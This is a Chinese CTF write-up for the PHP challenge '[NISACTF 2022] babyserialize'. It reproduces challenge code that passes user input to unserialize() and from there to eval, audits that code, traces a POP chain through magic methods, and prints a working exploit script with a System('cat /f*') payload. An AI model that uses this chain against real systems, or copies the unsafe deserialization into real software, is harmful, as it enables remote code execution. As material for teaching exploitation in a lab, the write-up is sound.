打开题目
题目源代码如下
<?php
include "waf.php";
class NISA{public $fun="show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER";private $fun='abc';public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}if(isset($_GET['ser'])){@unserialize($_GET['ser']);
}else{highlight_file(__FILE__);
}//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}//function hint(){
// echo ".......";
// die();
//}
?>
代码审计一下
include "waf.php";
class NISA{ //定义了一个名为NISA
的类
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){ //检查$this->fun
是否等于 "show_me_flag",如果是,则调用hint()
函数
hint();
}
}function __call($from,$val){ //当对象的方法不存在时,
__call()
方法会被调用,它接受两个参数:$from
表示调用的方法名,$val
是一个数组,包含调用方法时传递的参数
$this->fun=$val[0]; //将对象的属性$this->fun
设置为传递给方法的第一个参数的值,即$val[0]
}public function __toString()
{
echo $this->fun;
return " "; //使用echo
语句输出对象的属性$this->fun
的值,然后返回一个空格字符串。
}
public function __invoke()
{
checkcheck($this->txw4ever); //调用了一个名为checkcheck()
的函数,然后执行了$this->txw4ever
的代码
@eval($this->txw4ever);
}
class TianXiWei{
定义了一个名为
public $ext;
public $x; //TianXiWei
的类,其中包含两个属性$ext
和$x
这是一个 PHP 魔术方法,当对象被反序列化时会自动调用。
public function __wakeup()//{
调用
$this->ext->nisa($this->x); //$ext
对象的nisa()
方法,并将当前对象的属性$x
作为参数传递给nisa()
方法。}
定义了一个名为
}
class Ilovetxw{
public $huang;
public $su; //Ilovetxw
的类,其中包含两个属性$huang
和$su
PHP 魔术方法,当调用不存在的方法时会自动触发。它接受两个参数:调用的方法名
public function __call($fun1,$arg){ //$fun1
和传递给该方法的参数$arg
将传递给方法的第一个参数(
$this->huang->fun=$arg[0]; //$arg[0]
)赋值给$this->huang->fun
PHP 魔术方法,用于将对象转换为字符串时自动调用
}
public function __toString(){ //$bb = $this->su;
将 $this->su 赋值给变量 $bb,它尝试执行 $bb(),即调用 $bb 所指向的函数或方法
return $bb(); //}
定义了一个公共属性
}
class four{
public $a="TXW4EVER"; //$a
,并赋值为字符串 "TXW4EVER"private $fun='abc'; //
定义了一个私有属性$fun
,并赋值为字符串 'abc'public function __set($name, $value) //
魔术方法,用于在尝试设置不可访问属性时自动调用。{
将属性
$this->$name=$value; //$name
的值设置为$value
,即动态创建了一个属性if ($this->fun = "sixsixsix"){ //
这个条件语句中使用了赋值操作=
,它会将属性$this->fun
的值设置为字符串 "sixsixsix",并且if
条件会始终为真,因为赋值操作的结果是被赋的值本身strtolower($this->a); //
在条件语句中执行了strtolower($this->a)
,但没有将结果赋给任何变量或属性}
}
if(isset($_GET['ser'])){ //
检查是否存在名为ser
的 GET 参数@unserialize($_GET['ser']); //
对$_GET['ser']
的值进行反序列化操作@unserialize($_GET['ser'])
,使用了@
符号来抑制可能的错误信息输出}else{
有一个
highlight_file(__FILE__);
}
//func checkcheck($data){ //checkcheck函数接收一个参数$data
// if(preg_match(......)){ //preg_match
函数,但是正则表达式部分被省略了// die(something wrong); //
如果preg_match
函数匹配成功,即$data
符合某个模式,那么会执行die(something wrong);
来终止脚本执行,并输出 "something wrong"// }
输出了一些占位符信息
//}
//function hint(){ //hint函数这里没有设置参数
// echo "......."; //// die(); //
调用了die()
终止脚本的执行//}
?>
解题思路
这里我是一点思路都没有,可能也是平时接触到的这类型题很少,全靠大佬的wp
(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,肯定是代码执行,而eval又在__invoke魔术方法中
先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数
反推看哪里用到了类似$a()这种的。
(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
(3)__toString反推到__set
(4)从__set反推到__call
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup
大佬的exp
<?phpclass NISA{public $fun="show_me_flag";public $txw4ever; // 1 shellpublic function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext; //5 Ilovetxwpublic $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang; //4 fourpublic $su; //2 NISApublic function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER"; //3 Ilovetxwprivate $fun='sixsixsix'; //fun = "sixsixsixpublic function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
生成payload
得到flag
知识点:
_wakeup()魔术方法
当使用 unserialize()
反序列化一个对象成功后,会自动调用该对象的 __wakup()
魔术方法
_call()魔术方法
当对象的方法不存在时,__call()
方法会被调用
也就是无法访问此方法(未定义),此方法被__call()重载,并显示方法名和参数;
_toString()魔术方法
使用 echo
语句输出一个对象时,会自动检查一个对象有没有定义 _toString()
方法,如果定义了,就会输出 __toString()
方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串
也就是说,如果要将一个对象转换为字符串,必须定义 __toString()
魔术方法
_invoke()魔术方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
具体使用方法见:PHP 魔术方法 - __invoke() - PHP 魔术方法 - 简单教程,简单编程
_set()魔术方法
用于设置私有属性值,有两个参数,第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值
具体使用方法见:php 中__set()和__get()的具体用法_php __set-CSDN博客
strtolower()函数
strtolower函数把字符串全部转换为小写。
isset()函数
确定变量值是否存在
参考文章:
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客
关于[NISACTF 2022]babyserialize详解_web_babyserialize-CSDN博客